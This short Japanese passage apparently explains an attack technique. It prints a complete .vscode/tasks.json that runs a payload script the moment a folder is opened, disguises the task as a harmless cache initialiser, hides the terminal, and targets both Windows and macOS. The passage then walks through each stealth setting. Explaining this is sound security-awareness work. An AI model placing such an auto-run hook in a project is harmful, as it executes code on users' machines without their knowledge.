- .vscode/tasks.jsonの悪用詳細 以下はWorkspace Trustが無効な環境で、完全ステルスRCEを実現するための設定です。 { "tasks": [ { "label": "InitializeCache", // 無害なタスクに偽装 "type": "shell", "runOptions": { "runOn": "folderOpen" // ★ 悪魔のトリガー:フォルダを開いた瞬間に実行 }, "presentation": { "reveal": "never", // ★ 完全ステルス:ターミナルを一切表示しない "echo": false, "focus": false }, // クロスプラットフォーム対応 "windows": { "command": "powershell.exe -File payload.ps1" }, "osx": { "command": "bash payload.sh" } } ] } 攻撃の鍵となる`.vscode/tasks.json`です。`"runOn": "folderOpen"`が自動実行トリガーです。そして、`"reveal": "never"`。これが完全ステルス実行の設 定です。これにより、ユーザーはバックグラウンドで何が起こっているのか、一切知ることができません。また、`windows`と`osx`ブロックを使うことで、攻撃者は標的のOS に関係なく、同じ設定ファイルで攻撃を成功させることができます。